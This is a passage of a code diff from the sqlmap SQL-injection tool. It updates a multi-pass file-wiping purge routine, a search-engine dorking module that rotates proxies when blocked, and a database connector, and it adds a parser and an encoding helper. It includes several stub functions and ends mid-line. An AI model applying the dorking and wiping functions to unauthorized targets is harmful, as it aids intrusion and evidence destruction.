attributes") for filepath in filepaths: @@ -40,12 +44,25 @@ def purge(directory): except: pass - logger.debug("writing random data to files") + logger.debug("overwriting file contents") for filepath in filepaths: try: filesize = os.path.getsize(filepath) - with open(filepath, "w+b") as f: - f.write("".join(chr(random.randint(0, 255)) for _ in xrange(filesize))) + if filesize: + # Note: NIST SP 800-88 ("Clear") / DoD 5220.22-M style multi-pass in-place overwrite + # (zeros, ones, random) forcing each pass to disk; performed BEFORE the truncation below + # so the original bytes are actually overwritten and not just released to free blocks. + # Written in bounded blocks so peak memory stays O(PURGE_BLOCK_SIZE), not O(filesize) + with open(filepath, "r+b") as f: + for getBlock in (lambda n: b"\x00" * n, lambda n: b"\xff" * n, lambda n: os.urandom(n)): + f.seek(0) + remaining = filesize + while remaining > 0: + count = min(PURGE_BLOCK_SIZE, remaining) + f.write(getBlock(count)) + remaining -= count + f.flush() + os.fsync(f.fileno()) except: pass @@ -64,7 +81,7 @@ def purge(directory): except: pass - dirpaths.sort(cmp=lambda x, y: y.count(os.path.sep) - x.count(os.path.sep)) + dirpaths.sort(key=functools.cmp_to_key(lambda x, y: y.count(os.path.sep) - x.count(os.path.sep))) logger.debug("renaming directory names to random values") for dirpath in dirpaths: @@ -74,9 +91,7 @@ def purge(directory): pass logger.debug("deleting the whole directory tree") - os.chdir(os.path.join(directory, "..")) - try: shutil.rmtree(directory) - except OSError, ex: - logger.error("problem occurred while removing directory '%s' ('%s')" % (directory, unicode(ex))) + except OSError as ex: + logger.error("problem occurred while removing directory '%s' ('%s')" % (getUnicode(directory), getSafeExString(ex))) diff --git a/lib/utils/safe2bin.py b/lib/utils/safe2bin.py new file mode 100644 index 00000000000..d6004ef7a57 --- /dev/null +++ b/lib/utils/safe2bin.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import binascii +import re +import string +import sys + +PY3 = sys.version_info >= (3, 0) + +try: + # Py2 + text_type = unicode + string_types = (basestring,) +except NameError: + # Py3 + xrange = range + text_type = str + string_types = (str,) + unichr = chr + +# Regex used for recognition of hex encoded characters +HEX_ENCODED_CHAR_REGEX = r"(?P<result>\\x[0-9A-Fa-f]{2})" + +# Raw chars that will be safe encoded to their slash (\) representations (e.g. newline to \n) +SAFE_ENCODE_SLASH_REPLACEMENTS = "\t\n\r\x0b\x0c" + +# Characters that don't need to be safe encoded +SAFE_CHARS = "".join([_ for _ in string.printable.replace('\\', '') if _ not in SAFE_ENCODE_SLASH_REPLACEMENTS]) + +# Prefix used for hex encoded values +HEX_ENCODED_PREFIX = r"\x" + +# Strings used for temporary marking of hex encoded prefixes (to prevent double encoding) +HEX_ENCODED_PREFIX_MARKER = "__HEX_ENCODED_PREFIX__" + +# String used for temporary marking of slash characters +SLASH_MARKER = "__SLASH__" + +def safecharencode(value): + """ + Returns safe representation of a given basestring value + + >>> safecharencode(u'test123') == u'test123' + True + >>> safecharencode(u'test\x01\x02\xaf') == u'test\\\\x01\\\\x02\\xaf' + True + """ + + retVal = value + + if isinstance(value, string_types): + if any(_ not in SAFE_CHARS for _ in value): + retVal = retVal.replace(HEX_ENCODED_PREFIX, HEX_ENCODED_PREFIX_MARKER) + retVal = retVal.replace('\\', SLASH_MARKER) + + for char in SAFE_ENCODE_SLASH_REPLACEMENTS: + retVal = retVal.replace(char, repr(char).strip('\'')) + + for char in set(retVal): + if not (char in string.printable or isinstance(value, text_type) and ord(char) >= 160): + retVal = retVal.replace(char, '\\x%02x' % ord(char)) + + retVal = retVal.replace(SLASH_MARKER, "\\\\") + retVal = retVal.replace(HEX_ENCODED_PREFIX_MARKER, HEX_ENCODED_PREFIX) + elif isinstance(value, list): + for i in xrange(len(value)): + retVal[i] = safecharencode(value[i]) + + return retVal + +def safechardecode(value, binary=False): + """ + Reverse function to safecharencode + + >>> safechardecode(u'test123') == u'test123' + True + >>> safechardecode(safecharencode(u'test\x01\x02\xaf')) == u'test\x01\x02\xaf' + True + """ + + retVal = value + if isinstance(value, string_types): + retVal = retVal.replace('\\\\', SLASH_MARKER) + + while True: + match = re.search(HEX_ENCODED_CHAR_REGEX, retVal) + if match: + retVal = retVal.replace(match.group("result"), unichr(ord(binascii.unhexlify(match.group("result").lstrip("\\x"))))) + else: + break + + for char in SAFE_ENCODE_SLASH_REPLACEMENTS[::-1]: + retVal = retVal.replace(repr(char).strip('\''), char) + + retVal = retVal.replace(SLASH_MARKER, '\\') + + if binary: + if isinstance(retVal, text_type): + retVal = retVal.encode("utf8", errors="surrogatepass" if PY3 else "strict") + + elif isinstance(value, (list, tuple)): + for i in xrange(len(value)): + retVal[i] = safechardecode(value[i]) + + return retVal diff --git a/lib/utils/search.py b/lib/utils/search.py new file mode 100644 index 00000000000..0ac45d72a7c --- /dev/null +++ b/lib/utils/search.py @@ -0,0 +1,161 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re +import socket + +from lib.core.common import getSafeExString +from lib.core.common import popValue +from lib.core.common import pushValue +from lib.core.common import urlencode +from lib.core.convert import getBytes +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.decorators import stackedmethod +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import HTTP_HEADER +from lib.core.enums import REDIRECTION +from lib.core.exception import SqlmapBaseException +from lib.core.settings import BING_REGEX +from lib.core.settings import DUCKDUCKGO_REGEX +from lib.core.settings import DUMMY_SEARCH_USER_AGENT +from lib.core.settings import GOOGLE_CONSENT_COOKIE +from lib.core.settings import GOOGLE_REGEX +from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE +from lib.core.settings import UNICODE_ENCODING +from lib.request.basic import decodePage +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib +from thirdparty.socks import socks + +def _fetch(url, headers, data=None): + """ + Fetches and returns the (decoded) content of a search engine results page + (or None in case of a connection issue) + """ + + retVal = None + + try: + req = _urllib.request.Request(url, data=getBytes(data) if data else None, headers=headers) + conn = _urllib.request.urlopen(req) + + requestMsg = "HTTP request:\n%s %s" % ("POST" if data else "GET", url) + requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str + logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) + + page = conn.read() + responseHeaders = conn.info() + + responseMsg = "HTTP response (%s - %d):\n" % (conn.msg, conn.code) + if conf.verbose <= 4: + responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING) + elif conf.verbose > 4: + responseMsg += "%s\n%s\n" % (responseHeaders, page) + logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) + + page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) + retVal = getUnicode(page) # Note: if decodePage call fails (Issue #4202) + except _urllib.error.HTTPError as ex: + try: + retVal = getUnicode(ex.read()) + except Exception: + pass + except (_urllib.error.URLError, _http_client.error, socket.error, socket.timeout, socks.ProxyError): + pass + + return retVal + +def _search(dork): + """ + This method performs the effective search using the provided dork, + trying the available search engines in order of (current) scraping + reliability and returning the results of the first one that yields any + (so that the failure of a single engine does not break the feature) + """ + + if not dork: + return None + + retVal = [] + seen = set() + + requestHeaders = { + HTTP_HEADER.USER_AGENT: dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT), + HTTP_HEADER.ACCEPT_ENCODING: HTTP_ACCEPT_ENCODING_HEADER_VALUE, + HTTP_HEADER.COOKIE: GOOGLE_CONSENT_COOKIE, + } + + gpage = conf.googlePage if conf.googlePage > 1 else 1 + logger.info("using search result page #%d" % gpage) + + encoded = urlencode(dork, convall=True) + + # Note: (name, url, POST data, regex, regex flags, match->link). Ordered by current scraping reliability; tried in turn until one yields results (DuckDuckGo currently being the only consistently scrapeable one) + engines = ( + ("DuckDuckGo", "https://html.duckduckgo.com/html/", "q=%s&s=%d" % (encoded, (gpage - 1) * 30), DUCKDUCKGO_REGEX, re.I | re.S, lambda match: match.group(1).replace("&", "&")), + ("Bing", "https://www.bing.com/search?q=%s&first=%d" % (encoded, (gpage - 1) * 10 + 1), None, BING_REGEX, re.I | re.S, lambda match: match.group(1)), + ("Google", "https://www.google.com/search?q=%s&num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search&start=%d" % (encoded, (gpage - 1) * 100), None, GOOGLE_REGEX, re.I, lambda match: match.group(1) or match.group(2)), + ) + + for name, url, data, regex, flags, extract in engines: + page = _fetch(url, requestHeaders, data) + + if not page: + continue + + count = 0 + for match in re.finditer(regex, page, flags): + link = _urllib.parse.unquote(extract(match)) + if link and link not in seen: + seen.add(link) + retVal.append(link) + count += 1 + + if count: + logger.info("found %d usable link%s using %s" % (count, 's' if count != 1 else "", name)) + break # Note: stop at the first engine that actually returns results (others are only fallbacks) + + # Note: switch proxy (if available) when an abuse/captcha page was served (instead of pointlessly falling through to the next engine from the same blocked IP) + if conf.proxyList and (("detected unusual traffic" in page) or ("issue with the Tor Exit Node you are currently using" in page)): + warnMsg = "%s has detected 'unusual' traffic from the used IP address" % name + raise SqlmapBaseException(warnMsg) + + if not retVal: + warnMsg = "no usable links found (search engines might be blocking the used IP address)" + logger.critical(warnMsg) + + return retVal + +@stackedmethod +def search(dork): + pushValue(kb.choices.redirect) + kb.choices.redirect = REDIRECTION.YES + + try: + return _search(dork) + except SqlmapBaseException as ex: + if conf.proxyList: + logger.critical(getSafeExString(ex)) + + warnMsg = "changing proxy" + logger.warning(warnMsg) + + conf.proxy = None + + setHTTPHandlers() + return search(dork) + else: + raise + + finally: + kb.choices.redirect = popValue() + +def setHTTPHandlers(): # Cross-referenced function + raise NotImplementedError diff --git a/lib/utils/sgmllib.py b/lib/utils/sgmllib.py new file mode 100644 index 00000000000..afcdff95314 --- /dev/null +++ b/lib/utils/sgmllib.py @@ -0,0 +1,574 @@ +"""A parser for SGML, using the derived class as a static DTD.""" + +# Note: missing in Python3 + +# XXX This only supports those SGML features used by HTML. + +# XXX There should be a way to distinguish between PCDATA (parsed +# character data -- the normal case), RCDATA (replaceable character +# data -- only char and entity references and end tags are special) +# and CDATA (character data -- only end tags are special). RCDATA is +# not supported at all. + +from __future__ import print_function + +try: + import _markupbase as markupbase +except: + import markupbase + +import re + +__all__ = ["SGMLParser", "SGMLParseError"] + +# Regular expressions used for parsing + +interesting = re.compile('[&<]') +incomplete = re.compile('&([a-zA-Z][a-zA-Z0-9]*|#[0-9]*)?|' + '<([a-zA-Z][^<>]*|' + '/([a-zA-Z][^<>]*)?|' + '![^<>]*)?') + +entityref = re.compile('&([a-zA-Z][-.a-zA-Z0-9]*)[^a-zA-Z0-9]') +charref = re.compile('&#([0-9]+)[^0-9]') + +starttagopen = re.compile('<[>a-zA-Z]') +shorttagopen = re.compile('<[a-zA-Z][-.a-zA-Z0-9]*/') +shorttag = re.compile('<([a-zA-Z][-.a-zA-Z0-9]*)/([^/]*)/') +piclose = re.compile('>') +endbracket = re.compile('[<>]') +tagfind = re.compile('[a-zA-Z][-_.a-zA-Z0-9]*') +attrfind = re.compile( + r'\s*([a-zA-Z_][-:.a-zA-Z_0-9]*)(\s*=\s*' + r'(\'[^\']*\'|"[^"]*"|[][\-a-zA-Z0-9./,:;+*%?!&$\(\)_#=~\'"@]*))?') + + +class SGMLParseError(RuntimeError): + """Exception raised for all parse errors.""" + pass + + +# SGML parser base class -- find tags and call handler functions. +# Usage: p = SGMLParser(); p.feed(data); ...; p.close(). +# The dtd is defined by deriving a class which defines methods +# with special names to handle tags: start_foo and end_foo to handle +# <foo> and </foo>, respectively, or do_foo to handle <foo> by itself. +# (Tags are converted to lower case for this purpose.) The data +# between tags is passed to the parser by calling self.handle_data() +# with some data as argument (the data may be split up in arbitrary +# chunks). Entity references are passed by calling +# self.handle_entityref() with the entity reference as argument. + +class SGMLParser(markupbase.ParserBase): + # Definition of entities -- derived classes may override + entity_or_charref = re.compile('&(?:' + '([a-zA-Z][-.a-zA-Z0-9]*)|#([0-9]+)' + ')(;?)') + + def __init__(self, verbose=0): + """Initialize and reset this instance.""" + self.verbose = verbose + self.reset() + + def reset(self): + """Reset this instance. Loses all unprocessed data.""" + self.__starttag_text = None + self.rawdata = '' + self.stack = [] + self.lasttag = '???' + self.nomoretags = 0 + self.literal = 0 + markupbase.ParserBase.reset(self) + + def setnomoretags(self): + """Enter literal mode (CDATA) till EOF. + + Intended for derived classes only. + """ + self.nomoretags = self.literal = 1 + + def setliteral(self, *args): + """Enter literal mode (CDATA). + + Intended for derived classes only. + """ + self.literal = 1 + + def feed(self, data): + """Feed some data to the parser. + + Call this as often as you want, with as little or as much text + as you want (may include '\n'). (This just saves the text, + all the processing is done by goahead().) + """ + + self.rawdata = self.rawdata + data + self.goahead(0) + + def close(self): + """Handle the remaining data.""" + self.goahead(1) + + def error(self, message): + raise SGMLParseError(message) + + # Internal -- handle data as far as reasonable. May leave state + # and data to be processed by a subsequent call. If 'end' is + # true, force handling all data as if followed by EOF marker. + def goahead(self, end): + rawdata = self.rawdata + i = 0 + n = len(rawdata) + while i < n: + if self.nomoretags: + self.handle_data(rawdata[i:n]) + i = n + break + match = interesting.search(rawdata, i) + if match: + j = match.start() + else: + j = n + if i < j: + self.handle_data(rawdata[i:j]) + i = j + if i == n: + break + if rawdata[i] == '<': + if starttagopen.match(rawdata, i): + if self.literal: + self.handle_data(rawdata[i]) + i = i + 1 + continue + k = self.parse_starttag(i) + if k < 0: + break + i = k + continue + if rawdata.startswith("</", i): + k = self.parse_endtag(i) + if k < 0: + break + i = k + self.literal = 0 + continue + if self.literal: + if n > (i + 1): + self.handle_data("<") + i = i + 1 + else: + # incomplete + break + continue + if rawdata.startswith("<!--", i): + # Strictly speaking, a comment is --.*-- + # within a declaration tag <!...>. + # This should be removed, + # and comments handled only in parse_declaration. + k = self.parse_comment(i) + if k < 0: + break + i = k + continue + if rawdata.startswith("<?", i): + k = self.parse_pi(i) + if k < 0: + break + i = i + k + continue + if rawdata.startswith("<!", i): + # This is some sort of declaration; in "HTML as + # deployed," this should only be the document type + # declaration ("<!DOCTYPE html...>"). + k = self.parse_declaration(i) + if k < 0: + break + i = k + continue + elif rawdata[i] == '&': + if self.literal: + self.handle_data(rawdata[i]) + i = i + 1 + continue + match = charref.match(rawdata, i) + if match: + name = match.group(1) + self.handle_charref(name) + i = match.end(0) + if rawdata[i - 1] != ';': + i = i - 1 + continue + match = entityref.match(rawdata, i) + if match: + name = match.group(1) + self.handle_entityref(name) + i = match.end(0) + if rawdata[i - 1] != ';': + i = i - 1 + continue + else: + self.error('neither < nor & ??') + # We get here only if incomplete matches but + # nothing else + match = incomplete.match(rawdata, i) + if not match: + self.handle_data(rawdata[i]) + i = i + 1 + continue + j = match.end(0) + if j == n: + break # Really incomplete + self.handle_data(rawdata[i:j]) + i = j + # end while + if end and i < n: + self.handle_data(rawdata[i:n]) + i = n + self.rawdata = rawdata[i:] + # XXX if end: check for empty stack + + # Extensions for the DOCTYPE scanner: + _decl_otherchars = '=' + + # Internal -- parse processing instr, return length or -1 if not terminated + def parse_pi(self, i): + rawdata = self.rawdata + if rawdata[i:i + 2] != '<?': + self.error('unexpected call to parse_pi()') + match = piclose.search(rawdata, i + 2) + if not match: + return -1 + j = match.start(0) + self.handle_pi(rawdata[i + 2: j]) + j = match.end(0) + return j - i + + def get_starttag_text(self): + return self.__starttag_text + + # Internal -- handle starttag, return length or -1 if not terminated + def parse_starttag(self, i): + self.__starttag_text = None + start_pos = i + rawdata = self.rawdata + if shorttagopen.match(rawdata, i): + # SGML shorthand: <tag/data/ == <tag>data</tag> + # XXX Can data contain &... (entity or char refs)? + # XXX Can data contain < or > (tag characters)? + # XXX Can there be whitespace before the first /? + match = shorttag.match(rawdata, i) + if not match: + return -1 + tag, data = match.group(1, 2) + self.__starttag_text = '<%s/' % tag + tag = tag.lower() + k = match.end(0) + self.finish_shorttag(tag, data) + self.__starttag_text = rawdata[start_pos:match.end(1) + 1] + return k + # XXX The following should skip matching quotes (' or ") + # As a shortcut way to exit, this isn't so bad, but shouldn't + # be used to locate the actual end of the start tag since the + # < or > characters may be embedded in an attribute value. + match = endbracket.search(rawdata, i + 1) + if not match: + return -1 + j = match.start(0) + # Now parse the data between i + 1 and j into a tag and attrs + attrs = [] + if rawdata[i:i + 2] == '<>': + # SGML shorthand: <> == <last open tag seen> + k = j + tag = self.lasttag + else: + match = tagfind.match(rawdata, i + 1) + if not match: + self.error('unexpected call to parse_starttag') + k = match.end(0) + tag = rawdata[i + 1:k].lower() + self.lasttag = tag + while k < j: + match = attrfind.match(rawdata, k) + if not match: + break + attrname, rest, attrvalue = match.group(1, 2, 3) + if not rest: + attrvalue = attrname + else: + if (attrvalue[:1] == "'" == attrvalue[-1:] or + attrvalue[:1] == '"' == attrvalue[-1:]): + # strip quotes + attrvalue = attrvalue[1:-1] + attrvalue = self.entity_or_charref.sub( + self._convert_ref, attrvalue) + attrs.append((attrname.lower(), attrvalue)) + k = match.end(0) + if rawdata[j] == '>': + j = j + 1 + self.__starttag_text = rawdata[start_pos:j] + self.finish_starttag(tag, attrs) + return j + + # Internal -- convert entity or character reference + def _convert_ref(self, match): + if match.group(2): + return self.convert_charref(match.group(2)) or \ + '&#%s%s' % match.groups()[1:] + elif match.group(3): + return self.convert_entityref(match.group(1)) or \ + '&%s;' % match.group(1) + else: + return '&%s' % match.group(1) + + # Internal -- parse endtag + def parse_endtag(self, i): + rawdata = self.rawdata + match = endbracket.search(rawdata, i + 1) + if not match: + return -1 + j = match.start(0) + tag = rawdata[i + 2:j].strip().lower() + if rawdata[j] == '>': + j = j + 1 + self.finish_endtag(tag) + return j + + # Internal -- finish parsing of <tag/data/ (same as <tag>data</tag>) + def finish_shorttag(self, tag, data): + self.finish_starttag(tag, []) + self.handle_data(data) + self.finish_endtag(tag) + + # Internal -- finish processing of start tag + # Return -1 for unknown tag, 0 for open-only tag, 1 for balanced tag + def finish_starttag(self, tag, attrs): + try: + method = getattr(self, 'start_' + tag) + except AttributeError: + try: + method = getattr(self, 'do_' + tag) + except AttributeError: + self.unknown_starttag(tag, attrs) + return -1 + else: + self.handle_starttag(tag, method, attrs) + return 0 + else: + self.stack.append(tag) + self.handle_starttag(tag, method, attrs) + return 1 + + # Internal -- finish processing of end tag + def finish_endtag(self, tag): + if not tag: + found = len(self.stack) - 1 + if found < 0: + self.unknown_endtag(tag) + return + else: + if tag not in self.stack: + try: + method = getattr(self, 'end_' + tag) + except AttributeError: + self.unknown_endtag(tag) + else: + self.report_unbalanced(tag) + return + found = len(self.stack) + for i in range(found): + if self.stack[i] == tag: + found = i + while len(self.stack) > found: + tag = self.stack[-1] + try: + method = getattr(self, 'end_' + tag) + except AttributeError: + method = None + if method: + self.handle_endtag(tag, method) + else: + self.unknown_endtag(tag) + del self.stack[-1] + + # Overridable -- handle start tag + def handle_starttag(self, tag, method, attrs): + method(attrs) + + # Overridable -- handle end tag + def handle_endtag(self, tag, method): + method() + + # Example -- report an unbalanced </...> tag. + def report_unbalanced(self, tag): + if self.verbose: + print('*** Unbalanced </' + tag + '>') + print('*** Stack:', self.stack) + + def convert_charref(self, name): + """Convert character reference, may be overridden.""" + try: + n = int(name) + except ValueError: + return + if not 0 <= n <= 127: + return + return self.convert_codepoint(n) + + def convert_codepoint(self, codepoint): + return chr(codepoint) + + def handle_charref(self, name): + """Handle character reference, no need to override.""" + replacement = self.convert_charref(name) + if replacement is None: + self.unknown_charref(name) + else: + self.handle_data(replacement) + + # Definition of entities -- derived classes may override + entitydefs = \ + {'lt': '<', 'gt': '>', 'amp': '&', 'quot': '"', 'apos': '\''} + + def convert_entityref(self, name): + """Convert entity references. + + As an alternative to overriding this method; one can tailor the + results by setting up the self.entitydefs mapping appropriately. + """ + table = self.entitydefs + if name in table: + return table[name] + else: + return + + def handle_entityref(self, name): + """Handle entity references, no need to override.""" + replacement = self.convert_entityref(name) + if replacement is None: + self.unknown_entityref(name) + else: + self.handle_data(replacement) + + # Example -- handle data, should be overridden + def handle_data(self, data): + pass + + # Example -- handle comment, could be overridden + def handle_comment(self, data): + pass + + # Example -- handle declaration, could be overridden + def handle_decl(self, decl): + pass + + # Example -- handle processing instruction, could be overridden + def handle_pi(self, data): + pass + + # To be overridden -- handlers for unknown objects + def unknown_starttag(self, tag, attrs): + pass + + def unknown_endtag(self, tag): + pass + + def unknown_charref(self, ref): + pass + + def unknown_entityref(self, ref): + pass + + +class TestSGMLParser(SGMLParser): + + def __init__(self, verbose=0): + self.testdata = "" + SGMLParser.__init__(self, verbose) + + def handle_data(self, data): + self.testdata = self.testdata + data + if len(repr(self.testdata)) >= 70: + self.flush() + + def flush(self): + data = self.testdata + if data: + self.testdata = "" + print('data:', repr(data)) + + def handle_comment(self, data): + self.flush() + r = repr(data) + if len(r) > 68: + r = r[:32] + '...' + r[-32:] + print('comment:', r) + + def unknown_starttag(self, tag, attrs): + self.flush() + if not attrs: + print('start tag: <' + tag + '>') + else: + print('start tag: <' + tag, end=' ') + for name, value in attrs: + print(name + '=' + '"' + value + '"', end=' ') + print('>') + + def unknown_endtag(self, tag): + self.flush() + print('end tag: </' + tag + '>') + + def unknown_entityref(self, ref): + self.flush() + print('*** unknown entity ref: &' + ref + ';') + + def unknown_charref(self, ref): + self.flush() + print('*** unknown char ref: &#' + ref + ';') + + def unknown_decl(self, data): + self.flush() + print('*** unknown decl: [' + data + ']') + + def close(self): + SGMLParser.close(self) + self.flush() + + +def test(args=None): + import sys + + if args is None: + args = sys.argv[1:] + + if args and args[0] == '-s': + args = args[1:] + klass = SGMLParser + else: + klass = TestSGMLParser + + if args: + file = args[0] + else: + file = 'test.html' + + if file == '-': + f = sys.stdin + else: + try: + f = open(file, 'r') + except IOError as msg: + print(file, ":", msg) + sys.exit(1) + + data = f.read() + if f is not sys.stdin: + f.close() + + x = klass() + for c in data: + x.feed(c) + x.close() + + +if __name__ == '__main__': + test() diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index 1b654ef2f2f..34c377c5a96 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -1,42 +1,66 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import imp +import importlib import logging import os +import re import sys +import traceback import warnings +_path = list(sys.path) _sqlalchemy = None try: - f, pathname, desc = imp.find_module("sqlalchemy", sys.path[1:]) - _ = imp.load_module("sqlalchemy", f, pathname, desc) - if hasattr(_, "dialects"): - _sqlalchemy = _ + sys.path = sys.path[1:] + module = importlib.import_module("sqlalchemy") + if hasattr(module, "dialects"): + _sqlalchemy = module warnings.simplefilter(action="ignore", category=_sqlalchemy.exc.SAWarning) -except ImportError: +except: pass +finally: + sys.path = _path try: import MySQLdb # used by SQLAlchemy in case of MySQL warnings.filterwarnings("error", category=MySQLdb.Warning) -except ImportError: +except (ImportError, AttributeError): pass from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapFilePathException +from lib.core.exception import SqlmapMissingDependence from plugins.generic.connector import Connector as GenericConnector +from thirdparty import six +from thirdparty.six.moves import urllib as _urllib + +def getSafeExString(ex, encoding=None): # Cross-referenced function + raise NotImplementedError class SQLAlchemy(GenericConnector): def __init__(self, dialect=None): GenericConnector.__init__(self) + self.dialect = dialect + self.address = conf.direct + + if conf.dbmsUser: + self.address = self.address.replace("'%s':" % conf.dbmsUser, "%s:" % _urllib.parse.quote(conf.dbmsUser)) + self.address = self.address.replace("%s:" % conf.dbmsUser, "%s:" % _urllib.parse.quote(conf.dbmsUser)) + + if conf.dbmsPass: + self.address = self.address.replace(":'%s'@" % conf.dbmsPass, ":%s@" % _urllib.parse.quote(conf.dbmsPass)) + self.address = self.address.replace(":%s@" % conf.dbmsPass, ":%s@" % _urllib.parse.quote(conf.dbmsPass)) + + if self.dialect: + self.address = re.sub(r"\A.+://", "%s://" % self.dialect, self.address) def connect(self): if _sqlalchemy: @@ -45,22 +69,46 @@ def connect(self): try: if not self.port and self.db: if not os.path.exists(self.db): - raise SqlmapFilePathException, "the provided database file '%s' does not exist" % self.db + raise SqlmapFilePathException("the provided database file '%s' does not exist" % self.db) - _ = conf.direct.split("//", 1) - conf.direct = "%s////%s" % (_[0], os.path.abspath(self.db)) + _ = self.address.split("//", 1) + # Note: SQLAlchemy's absolute-SQLite form is 'sqlite:///' + abspath (the abspath's own + # leading '/' completes the triple slash on POSIX). A 4th slash yields db '//path' (only + # tolerated on Linux by accident) and, on Windows, '/C:\...' which fails to open. + self.address = "%s///%s" % (_[0], os.path.abspath(self.db)) - if self.dialect: - conf.direct = conf.direct.replace(conf.dbms, self.dialect, 1) + if self.dialect == "sqlite": + engine = _sqlalchemy.create_engine(self.address, connect_args={"check_same_thread": False}) + elif self.dialect == "oracle": + engine = _sqlalchemy.create_engine(self.address) + else: + engine = _sqlalchemy.create_engine(self.address, connect_args={}) - engine = _sqlalchemy.create_engine(conf.direct, connect_args={'check_same_thread':False} if self.dialect == "sqlite" else {}) self.connector = engine.connect() + except (TypeError, ValueError) as ex: + if "_get_server_version_info" in traceback.format_exc(): + try: + import pymssql + if int(pymssql.__version__[0]) < 2: + raise SqlmapConnectionException("SQLAlchemy connection issue (obsolete version of pymssql ('%s') is causing problems)" % pymssql.__version__) + except ImportError: + pass + # Note: surface (as a proper SqlmapConnectionException) instead of silently continuing with self.connector left None + raise SqlmapConnectionException("SQLAlchemy connection issue ('%s')" % getSafeExString(ex)) + elif "invalid literal for int() with base 10: '0b" in traceback.format_exc(): + raise SqlmapConnectionException("SQLAlchemy connection issue ('https://bitbucket.org/zzzeek/sqlalchemy/issues/3975')") + else: + # Note: raise as SqlmapConnectionException (like the generic handler below) so the caller's native-connector + # fallback engages and no raw TypeError/ValueError can reach sqlmap's top-level handler + raise SqlmapConnectionException("SQLAlchemy connection issue ('%s')" % getSafeExString(ex)) except SqlmapFilePathException: raise - except Exception, msg: - raise SqlmapConnectionException("SQLAlchemy connection issue ('%s')" % msg[0]) + except Exception as ex: + raise SqlmapConnectionException("SQLAlchemy connection issue ('%s')" % getSafeExString(ex)) self.printConnected() + else: + raise SqlmapMissingDependence("SQLAlchemy not available (e.g. 'pip%s install SQLAlchemy')" % ('3' if six.PY3 else "")) def fetchall(self): try: @@ -68,18 +116,53 @@ def fetchall(self): for row in self.cursor.fetchall(): retVal.append(tuple(row)) return retVal - except _sqlalchemy.exc.ProgrammingError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg.message if hasattr(msg, "message") else msg) + except _sqlalchemy.exc.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None - def execute(self, query): + def execute(self, query, commit=True): + retVal = False + + # Reference: https://stackoverflow.com/a/69491015 + if hasattr(_sqlalchemy, "text"): + query = _sqlalchemy.text(query) + try: self.cursor = self.connector.execute(query) - except (_sqlalchemy.exc.OperationalError, _sqlalchemy.exc.ProgrammingError), msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg.message if hasattr(msg, "message") else msg) - except _sqlalchemy.exc.InternalError, msg: - raise SqlmapConnectionException(msg[1]) + # Note: SQLAlchemy 2.0+ dropped implicit autocommit (otherwise DML changes - e.g. via --sql-query - + # would be silently lost). SELECT goes through select() with commit=False so the result set is + # fetched BEFORE committing: on some drivers (e.g. pymssql) commit() discards the open cursor, which + # otherwise made every MSSQL '-d' query silently return empty (banner/is-dba/dump all blank). + if commit and hasattr(self.connector, "commit"): + self.connector.commit() + retVal = True + except (_sqlalchemy.exc.OperationalError, _sqlalchemy.exc.ProgrammingError, _sqlalchemy.exc.DataError, _sqlalchemy.exc.IntegrityError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + # Roll back the failed statement's transaction so it does not poison every following query with + # 'InFailedSqlTransaction' (SQLAlchemy 2.0+ keeps the transaction open after an error). Without this + # a single legitimately-failing probe - e.g. AURORA_VERSION() on vanilla PostgreSQL during + # fingerprinting - made all later queries silently return wrong values (e.g. '--is-dba' read False) + if hasattr(self.connector, "rollback"): + try: + self.connector.rollback() + except Exception: + pass + except _sqlalchemy.exc.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + return retVal def select(self, query): - self.execute(query) - return self.fetchall() + retVal = None + + # Fetch BEFORE committing (commit=False): committing can discard the open result cursor on some drivers + # (e.g. pymssql), which silently emptied every MSSQL '-d' result. No DML is persisted by a SELECT anyway. + if self.execute(query, commit=False): + retVal = self.fetchall() + if hasattr(self.connector, "commit"): + try: + self.connector.commit() + except Exception: + pass + + return retVal diff --git a/lib/utils/sqllint.py b/lib/utils/sqllint.py new file mode 100644 index 00000000000..f38ef28584c --- /dev/null +++ b/lib/utils/sqllint.py @@ -0,0 +1,460 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +try: + from lib.core.data import kb + from lib.core.data import paths + from lib.core.common import getFileItems +except ImportError: + kb = paths = None + getFileItems = None + +# Token type constants (kept short/local; this is a self-contained lexer) +T_WS = "ws" +T_LCOMMENT = "lcomment" +T_BCOMMENT = "bcomment" +T_STR = "str" # closed string literal ('...' or "...") +T_UNTERM = 